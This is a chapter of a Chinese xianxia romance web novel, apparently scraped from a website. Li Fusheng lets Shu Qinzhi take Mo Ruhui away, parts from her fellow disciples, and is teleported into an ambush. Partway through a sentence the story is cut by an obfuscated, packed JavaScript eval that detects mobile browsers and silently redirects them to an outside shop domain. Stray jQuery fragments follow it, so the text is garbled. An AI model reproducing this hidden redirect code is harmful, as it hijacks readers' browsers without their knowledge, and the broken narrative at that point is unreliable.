黎浮生提出要求后,众人脸上神色不可谓不精彩。
姚桑痛心黎浮生被美色耽误,悔不当初。
柏云奚感动黎浮生为了帮他拿到断章枪而牺牲自己,满眼泪光。
公冶百川脑子里来回滚过私奔二字,面上尽是钦佩之色。
只有舒沁枝稍显淡定。
她不露声色地轻蹙起眉头,瞳孔微微一晃,狭长眼眸刹那淡了眸色。
黎浮生对上她的眼睛,眸子微眯,只一瞬,目光流转,看向她细长脖颈间那条环绕的金蛇。
赤红灵石镶嵌的瑰丽眼珠似是察觉到外来视线,阳光照耀下,粼粼华彩蓦地一转,直直刺向她的双眼。
黎浮生偏头一避,再看,那双清冷静谧的眼睛已经变得冷淡寻常。
防御型灵物?
有点意思。
舒沁枝盯了黎浮生好一会,转头问莫如讳:“如讳哥哥,跟我走,好么?”
莫如讳眼帘一抬,看向黎浮生。
黎浮生大喇喇颔首:“我同意。”
姚桑:“……”
柏云奚:“……”
公冶百川:“!!!”
莫如讳眼睫轻轻一颤。
这是他失忆后碰见的第一个熟人。
自称是与他一同长大,受他照拂多年的师妹。
按理来说,不论她是否如她自述那般真心,多与她接触,对他找回记忆都是有帮助的。
可为什么,当他听到黎浮生让他跟着舒沁枝一起离开时,心里反倒有些难受呢?
柏云奚憋不住,犹犹豫豫地凑过来,将黎浮生拉倒一旁。
“生生,莫宗师看起来有点难过啊。”
黎浮生挑眉,回望身后那个低垂下头颅的男人,淡然看了一瞬,便又收回来。
“见着小青梅,他不挺高兴的嘛,哪里难过了?”
柏云奚有些不忍:“你开口允下前,他本人都不知道自己要回去。”
黎浮生:“他现在知道了。”
柏云奚顿悟:“所以你与莫宗师趁夜离开望日峰,他事先知道么?”
“他事后知道了。”
柏云奚惊恐:“那你带他回宗门……”
“他事后也知道了。”
柏云奚震撼:“合着你都没与他商量?”
黎浮生撇了撇嘴,仰头望天:“我做的每一个决定,他都会服从,何必询问他的意见?完全是多此一举……”
公冶百川耳朵尖,一听柏云奚在替莫如讳申诉,也凑过来,贱兮兮问了一嘴:“那你们这次私奔,也是你一个人的主意么?”
柏云奚大惊失色:“私奔?!”
姚桑耳畔一颤:“谁私奔?什么私奔??”
黎浮生极其幽怨地看向公冶百川。
已经很乱了,别添乱了。
公冶百川欠欠转眼,无意瞟过瑟缩在灵房角落的小玄猫,扯开话题。
“我说灵房里怎么多了个微小的灵力波动,原来是你啊。”
他蹲下身,随手折了截叶片,和小玄猫玩得不亦说乎。
黎浮生花了不少功夫解释私奔这件事。
姚桑听完还是不太信:“生生,莫宗师修炼无情道,却罔顾道法,与鬼主牵扯不清,如今还多了个情意深重的师妹舒沁枝。你涉世不深,不要与莫宗师产生过多的感情纠葛,以免受伤。”
黎浮生连声应道:“大师姐说的是,我都记住啦。”
柏云奚也道:“虽然我真的很想亲眼看看断章枪,但如果要以牺牲你为代价,这枪不看也罢!”
黎浮生哦了一声:“那我拿回来不给你看?”
柏云奚面色狰狞,痛苦挣扎:“……还是看一眼吧。”
黎浮生哈哈大笑起来。
她回到莫如讳身边,弯腰抬头,自下而上看他。
“生气了?”
莫如讳低低勾头:“……没有。”
“二师兄说你看起来有点难过。”
莫如讳沉默片刻,唤她:“姐姐。”
“嗯?”
“你还是不喜欢我。”
黎浮生听他说得肯定,噗嗤一笑:“何以见得?”
莫如讳咬紧唇关,一双丹凤眼有些倔强又有些不服地望着她。
“我喜欢姐姐,所以我不喜欢公冶百川。姐姐不喜欢我,所以可以把我随意送走。”
黎浮生笑意更甚:“我不是说了,我会与你一起走。更何况,带你走的那人是舒沁枝,是陪了你十余年的小青梅,她不会害你。”
莫如讳:“……”
他知道自己的抗争没有结果。
他只是不甘心。
姐姐并不是个草率的人,可她还是听信舒沁枝的话,将他轻易送了出去。
或许……
谨慎如姐姐,也只是在面对他时不够上心罢了。
要怎么做?
该要怎么做才能让姐姐眼里心里都是自己?
莫如讳咬紧舌尖,认真谨慎地思考了一圈,末了,扯出个比哭还难看的笑。
“如果姐姐希望我去。”
“那我就去。”
舒沁枝听到他的回答,喜不自胜,连说几个好字,随即弯腰开始布阵。
遂了她的意,黎浮生却没有自己想象中的那般高兴。
奇怪……
不!
她非常高兴。
她为什么不高兴?
莫如讳听她的话,她高兴。
离天机门更进一步,她也高兴。
她怎么不高兴?
她现在就是全天下就高兴的人!
黎浮生扯起嘴角,皮笑肉不笑地哈哈两声,哈完,又舔了舔唇,闭上了嘴。
天机门的传送阵法可跨越百里,而对极擅符咒的舒沁枝而言,可至数千里。
眼见黎浮生当真是说走就走,柏云奚赶忙掏出个玲珑袋,像塞炸药般硬塞到她手里。
黎浮生:“?”
柏云奚:“之前答应你的竹床,已经做好放进去了,你好生收着,想师兄了就看看它,嗷。”
他满是不舍地望着黎浮生,等她来一出泪眼婆娑高呼感动的戏码,然后二人抱头痛哭,哀戚道别。
可等了半天,黎浮生只问一句:“二师兄有很多玲珑袋?”
柏云奚心头一紧:“有……没”
“那就是有。”
黎浮生动作极快地将玲珑袋纳入囊中,给柏云奚来了个干脆利落的熊抱。
“多谢二师兄,我会记得想你的。”
柏云奚还没感受到一点真情实意的温暖,黎浮生就松了手。
柏云奚:“……”
送出去的师妹泼出去的水。
姚桑将石化的柏云奚推开。
此次跟踪舒沁枝下山,她没想到能再见黎浮生,更没想到黎浮生当机立断,当真按照她信件所说,去了最危险也是最安全的地方。
临着分别,除了叮嘱,一时竟也想不到什么。
黎浮生听得耳朵生茧,一把挽过姚桑,往前走了几步。姚桑被带着,下意识跛脚跟上。
黎浮生偷偷往她袖袋里塞了好几瓶丹药。
姚桑震惊,黎浮生反应更快,摁住她要往外掏的手。
“疗伤丹药,效果极佳。不管是跌打损伤还是鞭罚体罚,三颗之内,保准见效。”
姚桑眸底震颤:“生生……”
黎浮生叹道:“我还是给大师姐惹祸了。”
宋彰明和天机门将事闹得这么大,李古月于情于理都要给秦东莱一个交代,而她偏偏又带着莫如讳离开,这处罚便落到私自借用小黑龙、带师弟师妹前往启方境又默认将人带回来的大师姐姚桑头上。
那晚她走得急,只在信里写了万事皆由她一人承担,没交代清楚她后续的计划,算来算去,也没能算准姚桑如此袒护她这个小师妹。
大抵……是去了思过谷。
思过谷不比闭门谷,其中多为体罚,姚桑应是受了不少苦。
这背离了黎浮生的本意。
姚桑握住她的手:“师父已经为我治疗,剩下的不过是些皮肉伤,不碍事。你出门在外,总要备点丹药防身。”
黎浮生反握住她,郑重地一字一句说道:“药你拿着。这次是我欠大师姐的,以后一定加倍补偿给你。”
她捏了捏姚桑的腕骨,指尖传来的温度与力度让姚桑愣了半晌。
小师妹……
她那从来不谙世事的小师妹似乎变了。
怎么连她都是后知后觉发现的呢?
姚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823776|204648||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
桑没想明白,黎浮生又问了句:“大师姐,我上次离家出走,该不会也是你替我受罚吧?”
“上次?你之前从未离家出走过啊……”姚桑眸子一瞪,方才生出来的闲愁瞬间消失:“你什么时候背着我们下山了?黎浮生!你老实交代,上次下山是做什么去了?!”
姚桑伸手就要揪她耳朵,黎浮生被撵得哇哇乱叫,公冶百川一把将人护下。
姚桑跳起来敲了黎浮生脑门一榔头,对着公冶百川语气更冲:“我刚才就想问了,你是谁啊你?”
公冶百川不爱管闲事,但更不喜欢闲事管他。
姚桑没好气一问,他也不顾及她是黎浮生的师姐,出口就是一句。
“关你屁——”
“事”被黎浮生强行捂到喉咙管里。
黎浮生陪着笑脸:“他帮了我,是个好人。大师姐,我怎么会背着你离家出走?真是误会,误会!”
姚桑想起她这次溜走前还特意留了封信,又是苦口婆心交代自己的用意,又是语重心长叮嘱他二人撇清关系,絮絮叨叨写了五页纸,才勉为其难哼哼两声,放过了她。
黎浮生逃过一劫。
公冶百川称姚桑走远,抓紧时间问她:“灵屋桌上的晋升秘籍是你留下的?”
哎呀,怎么这么快就被发现了?
黎浮生压抑住嘴角,略显为难:“哎,也算不上什么秘籍啦,只是见得多了,用得多了,总有些个人心得罢了。我知道造物修士晋级不易,你也不用太感激……”
公冶百川扣住她的肩膀,神色异常激动。
“你的秘籍思路和好心人留给我的一脉相承,你认识我的好心人么?”
黎浮生还没见过公冶百川兴奋到有些失控的样子。
“好心……”
她试图挣开询问,莫如讳已经提前一步扒开公冶百川的手,重重甩到一旁。
“别摸她!”
黎浮生:“……”
正适时,舒沁枝惊喜喊道:“好了!我们走吧!”
黎浮生看了公冶百川一眼。
他这话说得没头没尾,她哪知道他的好心人是谁?
“心得是我留的,至于你说的那什么好人,难道我不算么?”
公冶百川:“!!”
秘籍当真是黎浮生留下的!
公冶百川望着她的眼神里瞬间布满了崇拜恭敬,好似下一秒就要跪下给她磕一个。
黎浮生浑身不适,抖了又抖。
她垂眸瞥向在公冶百川脚边绕圈玩闹的小玄猫,道:“此去情况不明,它还有伤,就先交给你了。”
公冶百川眼冒精光:“放心吧,我化物多,保准将这小玄猫养得肥墩墩的。”
黎浮生汗颜:“倒也不必……”
舒沁枝不断催促:“阵法存续时间不长,我们快些走吧。”
黎浮生单独收起灵房,带着与小玄猫不舍分别的莫如讳过去。
才迈入阵法,还没站定。
柏云奚哭喊:“生生——!!”
公冶百川抱着小玄猫,也喊:“好人——!!”
姚桑拂袖抹泪。
黎浮生身形一晃,实在憋不住:“别嚎!我是走了,不是死了。”
柏云奚不管,嚎得厉害。
公冶百川似是要和他比个高低,叫得更凶。
姚桑嘱咐道:“出门在外,一定要注意安全!莫要与人争执,更不要与人斗殴!”
黎浮生心里一颤,暗道不妙,随即白光一闪,天旋地转。
耳畔似有未散去的叫唤哭喊萦绕,待风声消退,黎浮生慢慢悠悠睁开眼。
眼前蓦然站着一排穿着宗门服饰的年轻弟子,仿若一堵城墙,封锁了他们前往竹林的路。
仔细一看。
为首者黎浮生正好认识。
“九华宗,赵霖霄。”
黎浮生微微偏过脸,冲舒沁枝挤眉弄眼。
“这就是你说的绝对安全?!启方境都派人来堵我们了!”
舒沁枝汗颜:“我说纯属意外,你信么?”
黎浮生:“……”
舒沁枝横身一闪,挡在黎浮生与莫如讳面前。
指尖,黄符应召,上下涌动。
“无所谓,打赢他就好了。”